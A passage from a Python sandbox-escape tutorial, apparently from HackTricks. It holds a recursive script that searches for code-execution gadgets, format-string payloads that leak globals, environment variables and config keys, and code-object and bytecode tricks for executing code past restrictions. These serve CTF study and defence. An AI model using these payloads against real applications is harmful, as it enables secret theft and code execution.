sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn: 
import_module: 
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile: 
execute: 
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""

Recursive Search of Builtins, Globals...

{% hint style="warning" %} This is just awesome. If you are looking for an object like globals, builtins, open or anything just use this script to recursively find places where you can find that object. {% endhint %}

import os, sys # Import these to find more gadgets

SEARCH_FOR = {
    # Misc
    "__globals__": set(),
    "builtins": set(),
    "__builtins__": set(),
    "open": set(),
    
    # RCE libs
    "os": set(),
    "subprocess": set(),
    "commands": set(),
    "pty": set(),
    "importlib": set(),
    "imp": set(),
    "sys": set(),
    "pip": set(),
    "pdb": set(),
    
    # RCE methods
    "system": set(),
    "popen": set(),
    "getstatusoutput": set(),
    "getoutput": set(),
    "call": set(),
    "Popen": set(),
    "popen": set(),
    "spawn": set(),
    "import_module": set(),
    "__import__": set(),
    "load_source": set(),
    "execfile": set(),
    "execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
    # If bigger than maximum, stop
    if cont > MAX_CONT:
        return
    
    # If already checked, stop
    #if name and name in ALREADY_CHECKED:
    #    return
    
    # Add to already checked
    #if name:
    #    ALREADY_CHECKED.add(name)
    
    # If found add to the dict
    for k in SEARCH_FOR:
        if k in dir(element) or (type(element) is dict and k in element):
            SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")
    
    # Continue with the recursivity
    for new_element in dir(element):
        try:
            check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)
            
            # WARNING: Calling random functions sometimes kills the script
            # Comment this part if you notice that behaviour!!
            if execute:
                try:
                    if callable(getattr(element, new_element)):
                        check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
                except:
                    pass
        
        except:
            pass
    
    # If in a dict, scan also each key, very important
    if type(element) is dict:
        for new_element in element:
            check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
    print("Checking from empty string...")
    total = [""]
    for i,element in enumerate(total):
        print(f"\rStatus: {i}/{len(total)}", end="")
        cont = 1
        check_recursive(element, cont, "", str(element), f"Empty str {i}", True)
    
    print()
    print("Checking loaded subclasses...")
    total = "".__class__.__base__.__subclasses__()
    for i,element in enumerate(total):
        print(f"\rStatus: {i}/{len(total)}", end="")
        cont = 1
        check_recursive(element, cont, "", str(element), f"Subclass {i}", True)
    
    print()
    print("Checking from global functions...")
    total = [print, check_recursive]
    for i,element in enumerate(total):
        print(f"\rStatus: {i}/{len(total)}", end="")
        cont = 1
        check_recursive(element, cont, "", str(element), f"Global func {i}", False)
    
    print()
    print(SEARCH_FOR)


if __name__ == "__main__":
    main()

You can check the output of this script on this page:

{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {% endcontent-ref %}

Python Format String

If you send a string to python that is going to be formatted, you can use {} to access python internal information. You can use the previous examples to access globals or builtins for example.

{% hint style="info" %} However, there is a limitation, you can only use the symbols .[], so you won't be able to execute arbitrary code, just to read information.
If you know how to execute code through this vulnerability, please contact me. {% endhint %}

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
    "KEY": "ASXFYFGK78989"
}

class PeopleInfo:
    def __init__(self, fname, lname):
        self.fname = fname
        self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
    return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Note how you can access attributes in a normal way with a dot like people_obj.__init__ and dict element with parenthesis without quotes __globals__[CONFIG]

Also note that you can use .__dict__ to enumerate elements of an object get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Some other interesting characteristics from format strings is the possibility of executing the functions str, repr and ascii in the indicated object by adding !s, !r, !a respectively:

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Moreover, it's possible to code new formatters in classes:

class HAL9000(object):
    def __format__(self, format):
        if (format == 'open-the-pod-bay-doors'):
            return "I'm afraid I can't do that."
        return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

More examples about format string examples can be found in https://pyformat.info/

{% hint style="danger" %} Check also the following page for gadgets that will read sensitive information from Python internal objects: {% endhint %}

{% content-ref url="../python-internal-read-gadgets.md" %} python-internal-read-gadgets.md {% endcontent-ref %}

Sensitive Information Disclosure Payloads

{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

Dissecting Python Objects

{% hint style="info" %} If you want to learn about python bytecode in depth read this awesome post about the topic: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d {% endhint %}

In some CTFs you could be provided with the name of a custom function where the flag resides and you need to see the internals of the function to extract it.

This is the function to inspect:

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    if some_input == var2:
        return "THIS-IS-THE-FALG!"
    else:
        return "Nope"

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ and func_globals(Same) Obtains the global environment. In the example you can see some imported modules, some global variables and their content declared:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

See here more places to obtain globals

Accessing the function code

__code__ and func_code: You can access this attribute of the function to obtain the code object of the function.

# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

Getting Code Information

# Another example
s = '''
a = 5
b = 'text'
def f(x):
    return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Disassembly a function

import dis
dis.dis(get_flag)
  2           0 LOAD_CONST               1 (1)
              3 STORE_FAST               1 (var1)

  3           6 LOAD_CONST               2 ('secretcode')
              9 STORE_FAST               2 (var2)

  4          12 LOAD_CONST               3 ('some')
             15 LOAD_CONST               4 ('array')
             18 BUILD_LIST               2
             21 STORE_FAST               3 (var3)

  5          24 LOAD_FAST                0 (some_input)
             27 LOAD_FAST                2 (var2)
             30 COMPARE_OP               2 (==)
             33 POP_JUMP_IF_FALSE       40

  6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
             39 RETURN_VALUE        

  8     >>   40 LOAD_CONST               6 ('Nope')
             43 RETURN_VALUE        
             44 LOAD_CONST               0 (None)
             47 RETURN_VALUE

Notice that if you cannot import dis in the python sandbox you can obtain the bytecode of the function (get_flag.func_code.co_code) and disassemble it locally. You won't see the content of the variables being loaded (LOAD_CONST) but you can guess them from (get_flag.func_code.co_consts) because LOAD_CONSTalso tells the offset of the variable being loaded.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
          0 LOAD_CONST          1 (1)
          3 STORE_FAST          1 (1)
          6 LOAD_CONST          2 (2)
          9 STORE_FAST          2 (2)
         12 LOAD_CONST          3 (3)
         15 LOAD_CONST          4 (4)
         18 BUILD_LIST          2
         21 STORE_FAST          3 (3)
         24 LOAD_FAST           0 (0)
         27 LOAD_FAST           2 (2)
         30 COMPARE_OP          2 (==)
         33 POP_JUMP_IF_FALSE    40
         36 LOAD_CONST          5 (5)
         39 RETURN_VALUE   
    >>   40 LOAD_CONST          6 (6)
         43 RETURN_VALUE   
         44 LOAD_CONST          0 (0)
         47 RETURN_VALUE

Compiling Python

Now, let us imagine that somehow you can dump the information about a function that you cannot execute but you need to execute it.
Like in the following example, you can access the code object of that function, but just reading the disassemble you don't know how to calculate the flag (imagine a more complex calc_flag function)

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    def calc_flag(flag_rot2):
        return ''.join(chr(ord(c)-2) for c in flag_rot2)
    if some_input == var2:
        return calc_flag("VjkuKuVjgHnci")
    else:
        return "Nope"

Creating the code object

First of all, we need to know how to create and execute a code object so we can create one to execute our function leaked:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
               co_nlocals, co_stacksize, co_flags,
               co_code, co_consts, co_names,
               co_varnames, co_filename, co_name,
               co_firstlineno, co_lnotab, freevars=None, 
               cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

{% hint style="info" %} Depending on the python version the parameters of code_type may have a different order. The best way to know the order of the params in the python version you are running is to run:

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

{% endhint %}

Recreating a leaked function

{% hint style="warning" %} In the following example, we are going to take all the data needed to recreate the function from the function code object directly. In a real example, all the values to execute the function code_type is what you will need to leak. {% endhint %}

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Bypass Defenses

In previous examples at the beginning of this post, you can see how to execute any python code using the compile function. This is interesting because you can execute whole scripts with loops and everything in a one liner (and we could do the same using exec).
Anyway, sometimes it could be useful to create a compiled object in a local machine and execute it in the CTF machine (for example because we don't have the compiled function in the CTF).

For example, let's compile and execute manually a function that reads ./poc.py:

#Locally
def read():
    return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

If you cannot access eval or exec you could create a proper function, but calling it directly is usually going to fail with: constructor not accessible in restricted mode. So you need a function not in the restricted environment to call this function.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Decompiling Compiled Python

Using tools like https://www.decompiler.com/ one can decompile given compiled python code.

Check out this tutorial:

{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} .pyc.md {% endcontent-ref %}

Misc Python

Assert

Python executed with optimizations with the param -O will remove asset statements and any code conditional on the value of debug.
Therefore, checks like

def check_permission(super_user):
    try:
        assert(super_user)
        print("\nYou are a super user\n")
    except AssertionError:
        print(f"\nNot a Super User!!!\n")

will be bypassed

References

• https://lbarman.ch/blog/pyjail/
• https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
• https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/
• https://gynvael.coldwind.pl/n/python_sandbox_escape
• https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
• https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
• Get the official PEASS & HackTricks swag
• Discover The PEASS Family, our collection of exclusive NFTs
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.